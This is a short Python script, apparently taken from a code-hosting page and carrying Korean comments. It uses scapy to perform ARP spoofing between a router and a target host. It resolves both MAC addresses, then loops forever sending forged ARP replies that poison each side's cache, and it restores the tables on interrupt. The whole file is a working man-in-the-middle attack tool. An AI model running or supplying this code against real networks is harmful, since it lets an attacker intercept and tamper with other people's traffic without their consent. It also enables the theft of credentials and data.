arp.py
1.24 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from scapy.all import ARP, send, srp, Ether
import time
import sys
import signal
def originalMAC(ip):
# ARP Ping method
ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3)
# answer, unanswered
for s,r in ans: #sent, received
return r[Ether].src
def poison(routerIP, targetIP, routerMAC, targetMAC): # APR를 spoof
send(ARP(op=2, pdst=targetIP, psrc=routerIP, hwdst=targetMAC))
send(ARP(op=2, pdst=routerIP, psrc=targetIP, hwdst=routerMAC))
def restore(routerIP, targetIP, routerMAC, targetMAC): #다시 정상패킷 보내서 되돌리기
send(ARP(op=2, pdst=routerIP, psrc=targetIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetMAC), count=3)
send(ARP(op=2, pdst=targetIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)
def arp_spoofing(routerIP, targetIP):
routerMAC = originalMAC(routerIP)
targetMAC = originalMAC(targetIP)
def signal_handler(signal, frame):
print("Restoring ARP Tables")
restore(routerIP, targetIP, routerMAC, targetMAC)
restore(routerIP, targetIP, routerMAC, targetMAC)
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
while 1:
poison(routerIP, targetIP, routerMAC, targetMAC)